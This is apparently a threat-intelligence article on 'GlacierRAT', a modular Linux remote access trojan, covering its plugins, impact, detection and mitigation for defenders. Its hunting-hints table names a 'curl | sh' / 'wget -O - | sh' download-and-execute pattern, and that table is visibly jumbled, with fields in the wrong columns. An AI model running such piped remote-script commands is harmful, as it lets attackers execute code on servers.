CrowdStrike Uncovers 'GlacierRAT', a New Modular Remote Access Trojan for Linux

Researchers Detail 'GlacierRAT,' a New Modular Malware Targeting Linux Servers

MEDIUM
April 26, 2026
5m read
MalwareThreat IntelligenceCloud Security

Related Entities

Organizations

Products & Tech

Other

GlacierRAT

Full Report

Executive Summary

Security researchers at CrowdStrike have identified and analyzed a new, sophisticated Remote Access Trojan (RAT) named GlacierRAT, which is specifically designed to target Linux servers. The malware is notable for its modular architecture, allowing attackers to customize its functionality by loading different plugins. This makes it a versatile tool for various malicious purposes, including espionage, data theft, and launching further attacks like DDoS. GlacierRAT is being actively marketed on underground forums, lowering the barrier for less-skilled threat actors to target critical cloud and data center infrastructure. The malware typically gains initial access by exploiting vulnerabilities in web applications and uses common Linux techniques for persistence, such as systemd services and cron jobs. The emergence of GlacierRAT highlights the increasing focus of malware authors on Linux, the dominant operating system in server and cloud environments.


Threat Overview

  • Malware: GlacierRAT
  • Type: Modular Remote Access Trojan (RAT)
  • Target Platform: Linux-based servers, particularly in cloud and data center environments.
  • Distribution: Sold as a commodity malware on dark web forums, making it available to a wide range of threat actors.
  • Initial Access: Primarily through the exploitation of common vulnerabilities in public-facing web applications and services running on Linux.
  • Key Feature: Its modularity. The core RAT component establishes C2 and manages plugins. Operators can then load specific plugins to perform tasks as needed.

Technical Analysis

GlacierRAT is engineered for stealth and flexibility on Linux systems.

Initial Compromise & Persistence:

  1. Exploitation: The attack begins by exploiting a known vulnerability in a service running on the target Linux server (e.g., a vulnerable CMS, web framework, or application). (T1190 - Exploit Public-Facing Application)
  2. Dropper: The exploit typically drops a small downloader or shell script onto the server.
  3. Persistence: The malware establishes persistence to survive reboots. Common methods include:

Core Functionality & Modularity:

  • C2 Communication: The main GlacierRAT binary establishes an encrypted command-and-control channel to the attacker's server. It is designed to blend in with normal traffic to evade network-based detection.
  • Modular Architecture: The core component's main job is to fetch and load plugins from the C2 server. This allows the attacker to deploy only the tools they need, reducing the malware's on-disk footprint and making it harder to analyze fully. Example plugins include:
    • Reconnaissance: A plugin to gather information about the system, network, and users.
    • File Manager: A plugin for uploading, downloading, and deleting files.
    • Reverse Shell: A plugin to provide the attacker with interactive shell access. (T1059.004 - Command and Scripting Interpreter: Unix Shell)
    • Data Exfiltration: A specialized plugin for finding and stealing specific types of data.
    • DDoS: A plugin that turns the compromised server into a bot for launching Distributed Denial-of-Service attacks.

Impact Assessment

The compromise of Linux servers with GlacierRAT can have severe consequences:

  • Data Center as a Weapon: Compromised servers can be used to launch large-scale DDoS attacks, leveraging the high bandwidth of data center environments.
  • Sensitive Data Theft: Attackers can steal databases, application source code, customer information, and other sensitive data hosted on the server.
  • Cloud Environment Pivot: A compromised server in a cloud environment can be used as a pivot point to attack other cloud resources, potentially leading to a full cloud account takeover.
  • Ransomware Deployment: While not its primary function, a RAT like GlacierRAT provides the access needed to deploy ransomware as a final payload.
  • Loss of Trust: For service providers, a breach of their Linux infrastructure can lead to a complete loss of customer trust.

IOCs — Directly from Articles

CrowdStrike has released a set of IOCs, but they were not specified in the summary articles. These would typically be found in the full technical report and include file hashes, C2 domains, and IP addresses.


Cyber Observables — Hunting Hints

Security teams can hunt for GlacierRAT and similar Linux threats by looking for these patterns:

Type
file_path
Value / Pattern
Newly created files in /tmp, /var/tmp, or other world-writable directories.
Description
Attackers often drop initial payloads in temporary directories.
Context
File integrity monitoring (FIM) and EDR file creation events.
Confidence
medium
Type
log_source
Value / Pattern
auditd logs showing unexpected execve system calls.
Description
The Linux audit daemon can log all process executions. Look for suspicious binaries being run by web server users (e.g., www-data, apache).
Context
auditd log analysis.
Confidence
high
Type
command_line_pattern
Value / Pattern
`curl [ip_address]
Description
sudo shorwget -O - [url]
Context
sh`
Confidence
A very common and dangerous pattern used to download and execute scripts from the internet.
Type
network_traffic_pattern
Value / Pattern
Outbound connections from system processes (other than package managers) to unknown IPs.
Description
A server making unexpected outbound connections is a strong indicator of compromise.
Context
Egress firewall logs and network flow analysis.
Confidence
high

Detection & Response

Detection:

  • Linux EDR: The most effective tool is a dedicated EDR solution for Linux. This provides visibility into process execution, network connections, and file modifications that are difficult to get from logs alone. (D3-PA: Process Analysis)
  • Log Aggregation: Collect and analyze logs from auditd, syslog, and application logs (e.g., Apache, Nginx) in a central SIEM.
  • Network Baselining: Establish a baseline of normal network traffic for your servers. Alert on any deviation, especially new or unusual outbound connections.

Response:

  • Isolate the compromised server from the network to prevent lateral movement.
  • Capture a memory image and disk image for forensic analysis.
  • Identify the initial access vector (the exploited vulnerability) and patch it.
  • Rebuild the server from a known-good state; do not attempt to 'clean' a compromised Linux system.

Mitigation

  1. Patch Management: Keep all server software, especially public-facing web applications, patched and up-to-date. This is the most critical step to prevent initial access. (M1051 - Update Software)
  2. Harden Services: Reduce the attack surface by disabling unused services and ports. Follow security best practices for configuring web servers and applications.
  3. Web Application Firewall (WAF): Place a WAF in front of web servers to filter out malicious requests and block many common exploit attempts.
  4. Egress Filtering: Implement a strict egress firewall policy that only allows outbound connections to known-good, necessary destinations. This can block GlacierRAT's C2 communication.
  5. Principle of Least Privilege: Run web services with dedicated, low-privilege user accounts. A compromise of the web server should not immediately grant the attacker root access.

Timeline of Events

1
April 26, 2026
This article was published

MITRE ATT&CK Mitigations

Regularly patching public-facing web applications is the most effective way to prevent the initial compromise.

Implement strict egress filtering to block the malware's C2 communications, rendering it ineffective.

Use security tools like AppArmor or SELinux to create strict policies that limit what binaries can be executed and what actions they can perform.

Audit

M1047enterprise

Enable and collect detailed logs (e.g., from auditd) to provide visibility into process execution and system calls for threat hunting.

D3FEND Defensive Countermeasures

To effectively combat threats like GlacierRAT, security operations teams need to build proficiency in Linux-based Malware Analysis. This involves using EDR solutions with strong Linux support that can provide rich telemetry on process execution, network connections, and file system activity. Security analysts should be trained to hunt for common Linux persistence mechanisms, such as new systemd services, cron jobs, or modifications to shell profiles (.bashrc, .profile). Analyzing network traffic from servers for anomalous outbound connections is also critical. Given GlacierRAT's modular nature, capturing and reverse-engineering a plugin can provide vital threat intelligence on the attacker's specific objectives for that compromised server.

Preventing a GlacierRAT infection starts with robust Platform Hardening for all Linux servers. This includes several key actions: 1) Attack Surface Reduction: Uninstall all unnecessary packages and disable any services not required for the server's function. 2) Application Patching: Implement an aggressive patching schedule for all software, especially public-facing web applications, as this is GlacierRAT's primary entry vector. 3) Least Privilege: Run all services with the lowest possible user privileges. A web server process should never run as root. 4) Mandatory Access Control: Implement SELinux or AppArmor to create strict policies that define exactly what each service is allowed to do, preventing a compromised web server from executing arbitrary code in /tmp or creating new systemd services. This layered hardening approach makes it significantly more difficult for the initial exploit to succeed and for the malware to establish persistence.

Sources & References

GlacierRAT: A Technical Analysis of New Modular Malware for Linux
CrowdStrike (crowdstrike.com) April 26, 2026
'GlacierRAT' malware takes aim at Linux servers in the cloud
The Register (theregister.com) April 26, 2026

Article Author

Jason Gomes

Jason Gomes

• Cybersecurity Practitioner

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.

Threat Intelligence & AnalysisSecurity Orchestration (SOAR/XSOAR)Incident Response & Digital ForensicsSecurity Operations Center (SOC)SIEM & Security AnalyticsCyber Fusion & Threat SharingSecurity Automation & IntegrationManaged Detection & Response (MDR)

Tags

GlacierRATLinuxMalwareRATCrowdStrikeCloud SecurityData Center

📢 Share This Article

Help others stay informed about cybersecurity threats